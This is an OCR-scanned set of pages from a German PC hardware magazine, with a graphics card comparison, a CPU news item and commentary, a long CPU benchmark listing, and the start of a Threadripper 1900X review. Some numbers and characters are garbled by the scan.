1 х 85 mm axial, profilierte Platte für RAM & VRMs; Backplate | 1 x 90 mm axial, Radiator bedeckt RAM & VRMs; Backplate | inkl. Radiallüfter & Backplate 
inklusive Heatpipe (ohne Wármeleitpads) 

Software/Tools/Spiele Afterburner & Gaming App (Tweak-Tools), Treiber Firestorm (Tweak-Tool), Treiber - 

Handbuch; Garantie altblatt (dt.); 3 Jahre Faltblatt (dt.); 5 Jahre nach Registrierung bei Zotac Gedruckt (deutsch); 3 Jahre 

Kabel/Adapter/Beigaben Т x Strom: 6-auf-8-Pol; Messfühler, Triple-Slotblende, div. Aufkleber 2 x enthalten: 2x6-auf-8-Pol-Strom DP-DVI-Adapter (nur single-link); Aufkleber 

Sonstiges Custom-PCB mit 7 gedoppelten Phasen für die GPU; TDP: Custom-PCB mit 8 gedoppelten Phasen; TDP: 250 Watt; Lüfter | Platine: 7 Phasen mit je 2 Mosfets mit uP9511 (GPU), 2 Phasen 
300W; Lüfter drehen ab -63 °C; Quad Overvoltage + Mess- — |drehen auch im Leerlauf (44 % PWM); minimales Powerlimit | mit uP1685 (RAM); TDP: 250 Watt 
punkte, 3 Modi via Gaming App, Dual-BIOS: Original/LN2 über Tools: 125 Watt 

Eigenschaften (20 %) 2,19 2,67 2,28 

Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 40/67/67 °C 30/83/83 °C 31/86/86 °C 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/2,0 (54 %)/2,0 (54 %) Sone 


1,6 (44 %)/4,0 (67 %)/4,0 (67 %) Sone 


0,4 (23 %)/4,0 (57 %)/4,4 (59 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Unauffällig (erst ab hohen vierstelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


20/23/21 Watt 


14/22/16 Watt 


12,5/19/15 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


265/-/310/313 Watt (Powertarget: 100 Prozent) 


251/-/252/255 Watt (Powertarget: 100 Prozent) 


225/-/230/250 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


2.075 MHz mit 100 96 Power/Voltage/Fan (+9 %) 


-1.950 MHz mit 100 % Power/Voltage/Fan (+14 %) 


1.900 MHz mit 100 96 Power/Voltage/Fan (+23 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


6.200 MHz mit 100 % Power/Voltage/Fan (+12 %) 


5.800 MHz mit 100 % Power/Voltage/Fan (+5 %) 


6.000 MHz mit 100 % Power/Voltage/Fan (+9 %) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 96; Powerlimit bis 116 % (= 350W) 


Ja (GPU bis 100 %; Powerlimit bis 120 % (= 300W) 


Ja (GPU bis 100 %; Powerlimit bis 120 % (= 300W) 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 
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31,9 (PCB: 29,0x12,2)/5,4 cm; 3 x 8-Pol (vertikal) 
1,01 


© Sehr hohe Leistung & OC-Potenzial 
© Monitoring- und Spezialfunktionen 
© Sehr teuer 


Wertung: 1,47 


21,1 (PCB: 20,0x11,1)/3,5 cm; 2 x 8-Pol (vertikal) 
1,20 


© Passt in beinahe jedes Gehäuse 
© Bis zu 5 Jahre Garantie 
© Lautstärke (vor allem im Leerlauf) 


Wertung: 1,68 


26,7 (PCB: 26,7x10,0)/3,5 cm; 1 x 8-/1 x 6-Pol (vertikal) 
1,33 


© Hitze entweicht aus dem Geháuse 
© Gute Energie-Effizienz 
© Schwacher, relativ lauter Kühler 


Wertung: 1,72 


www.pcgameshardware.de 
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Lightning Z: Materialschlacht vom Feinsten 


ANER, 


566666088 


2:4 


Die MSI Lightning Z unterscheidet sich deutlich von деп meisten 
1080-Ti-Karten, sie hat von allem etwas mehr. 


Neulich in der MSI-Entwicklungsabteilung. Der Chefingenieur instruiert sein Team: 
„Die Gaming X ist gut, aber wir haben noch nicht jeden Benchmark gewonnen. 
Strengt euch an - koste es, was es wolle!" So oder so ähnlich könnte die Arbeits- 
anweisung an das Designteam gelautet haben, denn der Lightning Z sieht man ihre 
Leistung förmlich an. Das fängt bei der großflächigen Platine an, die 29 x 12,2 
Zentimeter misst; die Nvidia-Vorlage benügt sich mit 26,7 x 10 cm (PEG-Kontakte 
jeweils ausgeklammert). Auf dem PCB finden sich sieben Doppel-Phasen für die 
GPU, sodass die Last pro Einheit halbiert wird und MSI daher von 14 Exemplaren 
spricht; der Speicher wird über drei Solo-Phasen versorgt. Erneut trennt MSI die 
einzelnen Versorgungslinien mithilfe zahleicher Platinenlagen sauber voneinander 
und lässt sie von insgesamt drei Achtpol-Strombuchsen speisen — Ihr Netzteil sollte 
die passenden Gegenstücke bieten. Auf der kräftigen Hardware sitzt ein wuchtiges 
Sandwich-Kühldesign mit einer dicken, profilierten Grundplatte zur Kühlung des 
Speichers und der Spannungswandler — inklusive , getarnter" Heatpipe — sowie ein 
Radiator mit reichlich Oberfláche und dreifacher Axialbelüftung. Eine Innovation 
findet sich an der Rückseite: Eine weitere Heatpipe zieht die von der GPU erzeugte 
Hitze aus dem PCB und leitet sie an die peripheren Teile der Backplate weiter, um 
den Hotspot zu entzerren. Das Paket wird von den unten zu sehenden Spezialfunk- 
tionen für passionierte Tuner komplettiert. 


V-Chcck Points 
£rso& Кузоа [303 


Über die „V-Check Points" können interessierte Besitzer eines Multimeters bei laufendem Betrieb die Span- Das LN2-BIOS setzt das Temperaturlimit und den Über- 
nungen kontrollieren, entsprechende Kábelchen liegen bei. Allen anderen hilft das Afterburner-Tool. spannungsschutz außer Kraft — Vorsicht damit! 
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Prozessoren 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


Carsten Spille 
Fachbereich Prozessoren 
E-Mail: cs@pcgh.de 


Kommentar 


Hey, pssst, ja — genau Sie meine ich. Sind 
Sie vielleicht Streamer?? 


Die CPU-Neuvorstellungen der letzten Zeit 
protzen allesamt mit einer Vielzahl an Kernen. 
Nachdem Intel vor gut einem Jahr die ,8" im 
Desktop hinter sich gelassen hatte, schlug AMD 
mit Threadripper zurück und legte erst mal — der 
Epyc-Server-Prozessor bietet bereits 32 — 16 
Kerne vor. Intel mochte das nicht auf sich sitzen 
lassen und haut 18 Kerne auf dem i9-7980XE 
raus und nutzt dabei nur das , HCC"-Die (High 
Core Count), es gäbe noch ein „ХСС” (Extreme 
Core Count) ... 


Doch selbst die Hersteller (ja, beide) geben im 
jeweiligen Begleitmaterial an, dass Spiele ab 
sechs, spátestens jedoch ab acht Kernen kaum 
noch profitieren. Dafür muss der geneigte High- 
End-Zocker nun Nachteile in Kauf nehmen wie 
die hochlatente Kommunikation zwischen den 
einzelnen Chips eines Threadrippers (darum 
ist der TR 1900X auch langsamer als der R7 
1800X) oder das hochgelobte, für den Heimge- 
brauch aber schnarchlahme , Mesh", mit dem In- 
tel-Kerne seit Skylake X Daten hin und her schie- 
ben. Beides soll zwar toll für die Skalierbarkeit 
mit vielen Kernen sein, aber dabei wird immer 
offensichtlicher, dass es sich bei diesen Angebo- 
ten um ,gamifizierte" Server-Produkte handelt, 
die für daheim noch mehr Nachteile als früher 
bieten. Daher an dieser Stelle mal meine Frage 
an Sie, geschátzte Leser: Sind Sie Streamer? Oder 


www.pcgameshardware.de/cpu 


Von Kaby & Coffee: Intel Core-i-8000 


Die Core-i-8000-Reihe basiert zum 
Teil auf Kaby Lake und zum Teil auf 
Coffee Lake — Letztere stehen wohl 
vor der Tür, Erstere sind bereits im 
Handel. 


ach AMDs Ryzen-Attacke will 
N Intel im  Desktop-Bereich 
mit Coffee Lake und bis zu sechs 
Kernen zurückschlagen und hat 
im mobilen Segment vier 15-Watt- 
Vierkerner ,Kaby Lake Refresh“ in 
Stellung gebracht. Die Gerüchtekü- 
che will über Coffee Lake bereits ziemlich genau 
Bescheid wissen - und wenn Sie dieses Heft in 
Händen halten, soll den Leaks zufolge auch die 
Sperrfrist für Coffee Lake (kurz CFL) nicht mehr 
lange andauern - unser Test folgt in Kürze. 


CFL setzt laut der Gerüchte weiterhin auf die 
seit Sky Lake bekannte Architektur, fügt jedoch 
zwei zu den vier vorhandenen Kernen hinzu. Die 
Topmodelle bekommen Hyperthreading, auf das 
die i5-CPUs verzichten müssen. Core i3-Modelle 
der CFL-Generation wáren demnach Quadcores, 
ebenfalls ohne Hyperthreading. Nur die K-Mo- 
delle bieten einen freien Multiplikator, aber alle 
CFL-Chips laufen - wohl aus produktpolitischen 
Gründen - nur auf neuen Mainboards mit einem 
PCH der 300er-Reihe, welche funktional den 
200er-Chips entsprächen. Zum Einsatz kommt 
die verbesserte 14-nm-Technik, die Intel offenbar 
in die Lage versetzt, die TDP-Stufen von 65 und 
95 Watt beizubehalten. Entsprechend wurde 


auch der kolportierte Single-Core-Turbo auf bis 
zu 4,7 GHz weiter angehoben. Sollten die Ge- 
rüchte zutreffen, stünde mit dem sechskernigen 
17-8700K wohl ein Thronerbe für die schnellste 
Spiele-CPU in den Startlöchern. Die Großhan- 
delspreise (Intel-UVPs) sollen sich angeblich 
nicht verändern: Der i7-8700K soll von Intels Sei- 
te aus nicht teurer sein als der i7-7700K. 


In den neuen, bereits erhältlichen Mobil-CPUs 
der U-Reihe arbeitet der Kaby Lake Refresh. Der 
propagierte Leistungssprung von 40 Prozent ge- 
genüber entsprechenden Vorgängermodellen 
stammt zum Teil daher, dass man nun vier statt 
zwei Kerne in das 15-Watt-Korsett zwängt. Der 
Single-Core-Turbo ist zwar bis zu 300 MHz hóher, 
der Basis-Takt allerdings 900 MHz niedriger - zau- 
bern kann Intel nicht. Im zweiten Cinebench-R15- 
Durchlauf sank das Ergebnis eines i7-8550U von 
541 auf 517 Punkte aufgrund des aufgebrauchten 
Kühlungsspielraums. (cs) 


Coffee Lake und Kaby Lake Refresh im Überblick 


Bild: https://www.anandtech.com/show/11738/ 


Content Creator? Spielen Sie, während Sie den Modell Kerne/ | Basis- Turbo L3-Cache | Speicher TDP 
Stream mithilfe der CPU encoden und gleichzei- - Threads| takt (Single-/All-Core) 
tig im Hintergrund ein weiteres Video für den Coffee Lake (Desktop-Serie) - 
Upload auf YouTube noch mal rendern? Nutzen Core тыш 6/12 3,7 GHz 4,7/4,3 GHz 12 MiByte 95 Wa 
Sie mehrere Grafikkarten und zugleich M2-SSDs? Core 17-8700 3,2 GHz 4,6/4,3 GHz 12 MiByte | 2x DDR4- | 65 Wa 
ӨЕ macht EE Spe auf Core i5-8600K ыб LA GIE 4,3/4,1 GHz 9 Mibyte 2666 | 95 wa 
grund der vielen Optionen einfach mehr Spaß als Core De 2,8 GHz 4,0/3,8 GHz 3 By Š 65 Wa 
ein „einfaches“ Mainstream-System? Schreiben Gore E USE un : : iby © 1 2x DDR4- EG 
Sie mir doch bitte Ihre Meinung an cs@pcgh.de Core i3-8300 4/4 4,0 GHz Nicht vorhanden 8 MiByte 2400 65Wa 
— sie flieBt garantiert in die Überlegungen zum сше — 3,6 GHz 6 MiByte 65 Wa 
kommenden CPU-Testparcours ein! Kaby Lake Refresh (U-Serie für Notebooks) 
Core i7-8650U (UHD Graphics 620) 1,9 GHz | 4,2 GHz/keine Angabe 2x DDR4- 
7 Dee Core i7-8550U (UHD Graphics 620) 1,8 GHz | 4,0 GHz/keine Angabe . 2400/ 
Нагйшаге E (UHD Graphics 620)| “S | 1,7 GHz | 3,6 Glizikeine Angabe = ME | ipppgs. | 13 Wa 
Core i5-8250U (UHD Graphics 620) 1,6 GHz | 3,4 GHz/keine Angabe 2133 
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Preis-Leistungs-Verhältnis MM Gesamtindex 8 Spieleindex Bi Anwendungsindex 


Intel Core i9-7900X 
3,3+ GHz - 10c/20t — So. 2066 


16,3 %- 915 € 


Intel Core i7-6950X 
3,0+ GHz — 10c/20t — So. 2011-3 


9,6 % — 1.485 € 


Intel Core i7-7820X 
3,6+ GHz — 8c/16t — So. 2066 


26,5 % – 525 € 


Intel Core i7-6900K 
3,2+ GHz — 8c/16t — So. 2011-3 


15,1 % — 890 € 


AMD Ryzen TR 1950X 
3,4+ GHz - 16/321 - So. TRA 


14,7 % – 955 € 


Intel Core i7-7740X 
4,3+ GHz — Ac/8t — So. 2066 


38,4 % - 320 € 


AMD Ryzen TR 1920X 
3,54 GHz - 12c/24t — So. TRA 


16,9 % — 765 € 


Intel Core i7-7700K 
42+ GHz — AcfBt — So. 1151 


36,3 % - 320€ 


Intel Core i7-5960X 
3,04 GHz — 8c/16t — So. 2011-3 


11,5 % — 1.060 € 


Intel Core i7-7800X 
3,54 GHz — 6c/12t — So. 2066 


34,2 % – 350 € 


Intel Core i7-6800K 
3,44 GHz - 6c/12t — So. 2011-3 


36,1 % -315€ 


AMD Ryzen 7 1800X 
3,6+ GHz — 80161 — So. AMA 


26,8 % – 440 € 


AMD Ryzen TR 1900X 
3,8+ GHz - 8c/16t — So. TRA 


22,3% – 530 € 


Intel Core i7-5930K 
3,54 GHz — 6c/12t — So. 2011-3 


19,5 % — 575 € 


Intel Core i7-5775C 
3,34 GHz — 40/81 — So. 1150 


25,3 % – 425 € 


Intel Core i7-6700K 
4,0+ GHz — 40/81 — So. 1151 
36,2 % – 300 € 


Intel Core i7-5820K 
3,3+ GHz — 6c12t — So. 2011-3 


29,0 % – 375 € 


AMD Ryzen 7 1700X 
3,4+ GHz — 80161 — So. AM4 


34,2 % – 330€ 


Intel Core 17-4960Х 
3,6+ GHz — 6c/12t — So. 2011 


93%-14356 


AMD Ryzen 5 1600Х 
3,6+ GHz — 6c/12t — So. AM4 


46,8 % – 225 € 


3 


93 % 94% 
AN6:33  CR3:198 F15:136 SC2:37 FCB:26.647 CB15:2.105 ALR:87 х264:49 
ACS:130 DAI:136 FC4:83 — TW3:133 ЗОМ: 24.094 7z:105 BLD:109 yCr:63 


AMD Ryzen 7 1700 
3,0+ GHz – 80/16: — So. AMA 


36,2 % – 295 € 


НИ г: 
AN6:29 CR3:137 F15:89 am СВ:20.633 С815:1426 ALR:117 1064:73 
АСЅ:105 DAF104 FCA:70 — TW3:102 — 30M:16798 7:201 BLD:161 yCr:122 


г Шш 


Intel Core i7-3960X 
3,3+ GHz — 6c/12t — So. 2011 


10,1 % — 1.000 € 


Intel Core i7-4790K 
4,0+ GHz - Ac/8t — So. 1150 


27,5% – 360 € 


АМ6:37 CR3:193 F15:130 902:40 FCB:24097 CB15:1.805 ALR:90 26:61 
ACS:137  DAL138 FC4:90 TW3:135 — 30M:21430 7:120 BLD:117 yCr:70 
943% 
90,7% 
AN6:32 (83:10 F15:129 SC2:37 — FCB:26490 CB15:1.750 ALR:89 26:57 
ACS:132 DAF135 КО&80 TW3:132 — 30M:21295 7z122 ` BLD:129 yCr:66 


925% 


93,1% 
AN636 СЕЗ:177 1:124 SC2:38 FCB:24761 CB15:1483 ALR:93 x264: 72 
ACS:136 DAI:136 FC4:89 — TW3:135 ЗОМ: 19232 72:126 BLD:143 yCr:75 


AMD Ryzen 5 1600 
3,24 GHz - 6c/12t — So. AM4 


50,5 % — 200 € 


AN6:30  CR3:131 F15:95 5С2:25 FCB:19.757 CB15:955  ALR:129 x264:124 

ACS:118 DN 118 FC4:83 — TW3:112 — 3DM: 13.357 7z:163 BLD:235 yCr:215 
71,1% 

78,4% 48,8% 

AN6:34  CR3:129 F15:71 SOA FCB: 16.360 CB15:857 ALR:132 x264:122 

ACS:110 DAI:113 FC4:113 TW3:105 ЗОМ: 11.924 72:197 BLD: 231 yCr: 128 
69,6 % 

721% 54,8% 

AN6:30  CR3:133 F15:87 5С2:28 FCB:17.821 CB15:1.149 ALR: 118 x264: 90 

ACS:104 РАІ: 106 FC4:79 TW3:102 ЗРМ: 15.853 72: 236 BLD: 196 yCr: 158 


91,0% 


AN6:27  CR3:146 F15:113 
ACS:113 DAL 109 FC4:59 


SC2:30 
TW3: 112 


x264:39 
BLD:88 ус: 61 


Intel Xeon E3-1230 v5 
3,44 GHz — AclBt — So. 1151 


37,8 % – 255 € 


OOO O O y O 


NN DE 


00,0% 57, 


Intel Core i7-4770K 
3,5+ GHz - 4081—50. 1150 


24,6 % — 380 € 


AN6:31 СЕЗ:118 F15:75 Om СВ:14,518 CB15:799 ALR:140 x264:114 

ACS:109 DAI:115 FC4:112 TW3:105 — 3DM:11.618 7:221 — BLD:248 yCr:117 
66,9% 

45,6% 

AN6:30 CR3:119 F15:69 On FCB:15223 СВ15:797 ALR:142 x264:129 

ACS:105 DAF107 FC4108 TW3:101 — 3DM:11.083 7:211 BLD:247 yCr:135 


AN6:42 CR3:153 F15:98 Om — FCB:18364 СВ15:996 ALR:114 х264:91 

ACS:132 DAI:148 FC4:133 TW3:140 ЗОМ: 14.733 7z198 — BLD:199 yCr:94 
85,2% 

88,8 % 

AN6:27 CR3:144 F15:112 SC2:30 FCB:20.248 CB15:2.459 ALR:93 x264: 46 

ACS:110 DAI:108 FC4:57  TW3:108 — 30M:23.865 7z:132 BLD:99 yCr:81 


Intel Core i5-7600K 
3,8+ GHz - Ac/4t 50. 1151 
4,7%-215€ 


64,9% 
41,2% 


AN6: 40 
ACS: 131 


CR3:144 F15: 89 
DAI: 138 РС4: 131 


SC2: 62 
TW3: 126 


Intel Core i5-5675C 
3,1+ GHz - Ac/4t — So. 1150 


31,6 % -275€ 


85,1% 68,9 % 
AN6:29 САЗ: 164 Е15:115 5С2:31 FCB: 23.164 СВ15: 1.329 ALR: 108 х264: 81 
ACS:127 DAI:130 FC4:84 ТМЗ: 124 ЗОМ: 16.203 72: 135 BLD: 161 yCr: 81 


АМО Ryzen 5 1500Х 
3,5+ GHz — 40/81— So. AMA 


50,6 % — 175 € 


Intel Core i7-4820K 
3,7+ GHz — AclBt — So. 2011 


21,9 % — 390 € 


85,8 % 66,2 % 
AN6:29  CR3:165 Р15:112  SC2:39 FCB:21.732 СВ15: 1.303 ALR: 104 3264: 75 
ACS:130 DAI:132 FC4:85 — TW3:119 — 3DM:17.655 7z: 180 BLD:165 yCr: 91 


ne ee 
59,8% 


Intel Core 15-7500 
3,4+ GHz - Ac/4t — So. 1151 


46,5 % — 180 € 


Intel Core i7-3770K 
3,5+ GHz - Ac/8t - So. 1155 


22,6 % -370 € 


Intel Core i7-990X 
3,5+ GHz — 6c/12t — So. 1366 


8,9 % – 940 € 


AN6:34 CR3:154 F15:104 5С2:34 FCB:19.695 CB15:1.114 ALR:111 x264:97 

ACS:130 DAI:131 FC4:93 TW3:118 ЗРМ: 15.644 7z:170 BLD:186 yCr:108 
79,8 % 

710% 

AN6:32 САЗ: 150 Р15:93 5С2:33 FCB: 23.143 СВ15: 1.639 ALR: 105 x264: 64 

ACS:110 ЮА: 114 FC4:77  TW3:110 ЗМ: 19.312 72:182 BLD: 140 vr 109 
79,4% 

74,9% 73,5% 

АМ6:28 CR3:139 F15:108 5С2:32 FCB: 20.914 CB15:1.716 ALR:95 — x264:61 

ACS:114 0А:108 FC4:64 TW3:107 30М:2028072:177 BLD:133 yCr:101 
793% 

851% 

AN6:33 СВЗ: 154 Р15:105 5С2:32 FCB: 19.845 СВ15: 1.086 ALR:116 х264: 102 

АСЅ:127 РАІ: 130 FC4:94 TW3:119 ЗОМ: 13.942 72: 165 BLD: 198 уси: 107 


Intel Core i5-6600K 
3,5+ GHz - Ac/4t — So. 1151 


37,2 % – 215 є 


78,9 % 


Intel Core 15-7400 
3,0+ GHz — Ac/4t — So. 1151 


48,6 % — 160 € 


919% 

AN6:40 CR3:129 F15:95 SCH: 47 FCB: 14.590 CB15:787 ALR:133 х264:125 
ACS:127 DAI:139 FC4:128 TW3: 131 3DM: 12.278 7z: 195 BLD: 257 yCr: 139 
_ HRS 

AN6:37 CR3:137 F15:80 SCH: 55 FCB: 16.191 CB15:890 ALR:127 x264:102 


ACS:120 DAI:133 FC4:124 TW3:119 — 3DM: 13.028 72: 205 BLD: 222 vr 106 


Intel Core i5-4690K 
3,54 GHz - Ac/4t — So. 1150 
30,1 % – 255 € 


56,1% 


AN6:32  CR3:149 F15:100 5С2:32 FCB: 18.880 CB15:1.022 ALR: 119 x264: 104 


AMD Ryzen 5 1400 
3,2+ GHz - Ac/8t — So. AMA 


50,1 % — 155 € 


ACS:122 DAI:129 FC4:92 — TW3:115 3DM: 13.589 72: 168 BLD:203 уси: 110 


76,5 % 


14,4% 
AN6:31 (83:16 FIS:91 902:30 FCB:21.955 CB15:1.557 ALR:111 x264:68 
ACS:106 DAI:109 FC4:75 TW3:105 — 3DM:18246 72:189 BLD:149 yCr:113 


Intel Core i5-4670K 
3,4+ GHz — Ac/4t — So. 1150 


30,5 % – 245 € 


74,1% 


79,0% ee | 
AN6:31 — CR3:137 F15:102 SC2:25 — FCB:19.953 CB15:1.000 ALR:114 ›264:112 
ACS:120 DAF122 FC4:84 TW3:114 — 3DM:13914 77159 — BLD:219 yCr.207 


Intel Core i5-6500 
3,24 GHz — Ac/4t — So. 1151 


40,5 % - 185 € 


73,5% 


75,7% 
AN6:31 CR3:142 F15:89 Om FCB:19.066 CB15:1.244 ALR:111 х264:84 
ACS:107 DAI:113 FC4:84  TW3:104 — 3DM:17.113 7:229 — BLD:181 yCr.147 


AMD FX-9590 
47+ GHz - Am/8t — So. АМ3+ 


52,1%-145€ 


AN6:30 CR3:102 168 502:50 FCB:12.716 CB15:676 ALR:129 x264:126 
ACS:100 DI FCA:117 TW3:95 — 3DM:9.013 77256 BLD:332 yCr:130 
I EET 

36,1% 

AN6:39 (83:95 15:65 Ou FCB:11377 СВ15:567 ALR:140 х264:160 
ACS:99 АСЛОВ ЕС4:125 TW3:92 — 3DM:8339 7z279 В10:387 yCr:176 
m — DR 

43,6 % 

АМ6:29 CR3:104 FI:77 Om — КОВ:13551 CB15:818 ALR:123 x264:126 
ACS:94 — DAL100 FC4:94 — TW3:93 — 3DM:1285 77:283 В10:266 yCr:209 
А 

70,2% 39,1% 

AN6:30 CR3:102 FI5:78 ois FCB:133903 CB15:664 ALR:147 х264:167 
АС5:105 DAF109 FC4:92 — TW3:100 30М:9892 7z227 — BLD:318 yCr:282 
NN -..:* 

169,3 % 37,4% 

ANG:29  CRX94 F15:65 Ou СВ:11.455 СВ15:610 ALR:142 х264:139 
АС5:94 — DAE103 FC4:112 TW3:89 — 3DM:8401 72:275 В10:361 yCr:143 
EN с: 

67,7 % 39,2 % 

АМ6:29 CR3:102 F15:69 502:27 СВ:13.908 CB15:679 ALR:154 x264: 163 
ACS:100 DAI:1O3 FC4:92 — TWi:95 3DM:9.926 7z217 В10:316 yCr:292 
NN E 

62,0% 44,9% 

AN6:28 (3:119 FI5:64 502:17 FCB:18987 CB15:822 ALR:157 х264:139 
АС5:95 DAF92 IO TW3:82 — 3DM:12349 7z232 — BLD:243 yCr.322 
г ВЕД 

64,4 % 37,6% 

ANG:25 CR3:89 159 502:40 FCB:11479 СВ15:611 ALR:139 х264:139 
АС5:89 DAF97 ЕС4:106  TW3:84 — 3DM:8406 7z:281 BLD:360 yCr: 142 
I 5 

ANG:26  CRX87 F15:61 502:38 FCB:10594 CB15:552 ALR:152 х264:150 
ACS:91 — DAE97 ЕС4:107 TW3:84 ЗОМ:7.431 72:286 BLD:392 yCr:154 
— Em 

ANG:31 (83:90 F15:54 Om КОВ8:12033 СВ15:565 ALR:150 х264:163 
АС5:85 Dip FC4:98 — TW3:80 — 3DM:7482 72:288 BLD:368 yCr:168 
I .: 

38,1% 

AN6:26 CR3:93 nam 56:23 FCB:12455 CB15:706 ALR:148 x264:142 
АС5:81 Dm un — TW3:82 — 3DM:10875 72:321 BLD:303 yCr:234 
EN ERE 

AN6:31 (83:89 Е15:53 502:33 ALR:153 x264: 166 
ACS;B4 DAF83 FC4:96 — TW3:80 — 3DM:7280 7z:300 BLD:382 yCr:173 
E 

BEES 

ANG:25 CR3:83 F15:57 Om — FCB:10519 CB15:561 ALR:152 х264:148 
АС5:89 DAF92 КО&% mn — 3DM:7426 7z:293 BLD:394 yCr:156 
| Em 

57,1% 

ANG:25 СВЗ:96 F15:61 56:20 FCB:15.018 CB15:727 ALR:146 х264:138 
АС5:81 Dn FC4:79 "mn — 3DM:8407 7:28 BLD:415 yCr:256 


besser). System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MH 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 
AA und AF), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Adobe Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist 


Z. 
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2 PROZESSOREN | Skylake X тїї 12 bis 18 Kernen vs. TR 1900X 


AMD Ryzen Threadripper 1900Х 


АМО 


r* Y Z= N 


THREADIDRIPPENR 


EE 
UA 1732SU 
2002275170006 
DIFFUSED IN USA 
MADE IN CHINA 


© 2016 AMD 


Threadripper zum Dritten 


Mit dem TR 1900 bietet AMD nun auch ein Achtkern-Modell für den Sockel TRA an und tritt damit in 
Konkurrenz zur eigenen Ryzen-7-Reihe im günstigeren Sockel AMA - für wen lohnt sich der Aufpreis? 


it knapp über 500 Euro ist 
AMDs Ryzen Threadripper 
1900X der aktuell günstigste Pro- 
zessor, den die Texaner für die 
High-End-Plattform mit Sockel TRÁ 
im Angebot haben. Dank eines 


Thermal und Strombudgets von 
bis zu 180 Watt sowie der größeren 
Kontaktfläche für die Kühleinheit 
war es möglich, die Taktraten im 
Vergleich zu AMDs bislang schnells- 
tem Achtkerner noch etwas zu erhó- 


Threadripper gegen Ryzen 7: DX11 vs. DX12 


Rise of the Tomb Raider „Geo Valley" (1080p, kein AA/AF/PP) 


Ryzen 7 1800X DX12 uya ew 122,0 (+38 96) 
Ryzen 7 1800X DX11 EX 8,5 (Basis) 


Ryzen TR1900X DX12 pg es 110,5 (+34 %) 
Ryzen TR1900X DX11 Ese x 82,6 (Basis) 


System: 4 х 8 GiB Corsair DDR4-2400; Windows 10 x64 (1703), Titan X (Pascal, GF 
385.41 HQ) Bemerkungen: Der R7-1800X ist hier flotter als der Threadripper und 
profitiert überdies sogar noch stárker vom Wechsel der API von Direct X 11 auf Version 12. 


Mimil @ Fps 


> Besser 


48 PC Games Hardware | 11/17 


hen - Details hält die Tabelle oben 
rechts bereit. Die Frage ist nun, für 
wen lohnt sich der Griff zum TR- 
1900X und wer bleibt besser beim 
Ryzen 7 1800X? Fest steht: Die Er- 
weiterungsmöglichkeiten sprechen 
eindeutig für Threadripper: Maxi- 
mal sieben PCI-Express-Geräte, da- 
runter je zwei mit x16 und x8 an- 
gebundenen Grafikkarten und drei 
per PCI-Express 3.0 x4 angeschlos- 
sene M2-SSDs bewirbt AMD. Dazu 
kommt der dank Quad-Channel-In- 
terface potenziell doppelt so große 
Arbeitsspeicher - und selbst wenn 
man diese Grenzen nicht sprengt: 
Vier kleinere Module sind meistens 
günstiger als zwei mit maximaler 
Kapazität. Wer also einen derartigen 


Ausbau seines Systems plant, für 
den ist die Threadripper-Plattform 
sowieso alternativlos. Doch was ist 
mit Spielern, die sich vielleicht ein 
Leistungsplus durch hohe Taktra- 
ten und die verdoppelte Speicher- 
transferrate erhoffen? Wir prüfen, 
ob diese Faktoren durchschlagen 
oder ob die höhere Latenz bei der 
Kommunikation der zwei Chips im 
Inneren des Threadripper-Packages 
den Vorteil wieder auffrisst. 


AMD-Achtkerner für Spieler 
Das Resultat is klar: Im Gesamter- 
gebnis unseres Leistungsindex steht 
der Threadripper 1900X knapp hin- 
ter seinem nominell langsameren 
Ein-Chip-Verwandten, dem Ryzen 


www.pcgameshardware.de 


Test: Threadripper 1900X | PROZESSOREN 


Technische Daten: Threadripper im Überblick 


Modell Plattform | Kerne/ CCX- PCI-Expr.- 3.0- Basis- Boost Boost XFR/2- L3-Cache | TDP Preis 
Threads Konfiguration Lanes takt | (alle Kerne) | (4 Kerne) Kern-Boost 

Ryzen TR 1950X TRA 16/32 | 444 (Die 0)/4+4 (Die 1) | 64 (2x16 + 2x8 PEG) | 3,4 GHz 3,7 GHz 4,0 GHz | +200 MHz (max. 4 Kerne) | 32 MiB | 180 Watt | Ca. 960 EUR 

Ryzen TR 1920X TR4 12/24 | 343 (Die 0)/3+3 (Die 1) | 64 (2x16 + 2x8 PEG) | 3,5 GHz 3,7 GHz 40 GHz | +200 MHz (max. 4 Kerne) | 32 MiB | 180 Watt | Ca. 770 EUR 

Ryzen TR 1900X TRA 8/16 | 4+0 (Die 0)/4+0 (Die 1) | 64 (2x16 + 2x8 PEG) | 3,8 GHz 4,0 GHz 40 GHz | +200 MHz (max. 4 Kerne) | 16 MiB | 180 Watt | Ca. 530 EUR 

Ryzen 7 1800X AM4 8/16 444 (Die 0) 20 (1x16 PEG) 3,6 GHz 3,7 GHz 4,0 GHz | +100 MHz (max. 2 Kerne) | 16 MiB | 95 Watt | Ca. 440 EUR 

Core i7-7820X So. 2066 8/16 entfällt 28 (nur 1x16 + 1x8) | 3,6 GHz 4,0 GHz 4,0 GHz 4,5 GHz 11,00 MiB | 140 Watt | Ca. 530 EUR 


Threadripper 1900X: Speicherskalierung Threadripper 1900X: Speicherskalierung 2 


GPU-Bench (integriert): 1.280 x 768: Ashes of the Singularity Escalation v2.41 Rise of the Tomb Raider „Geo Valley” (DX12, 720p, kein AA/AF/PP) 


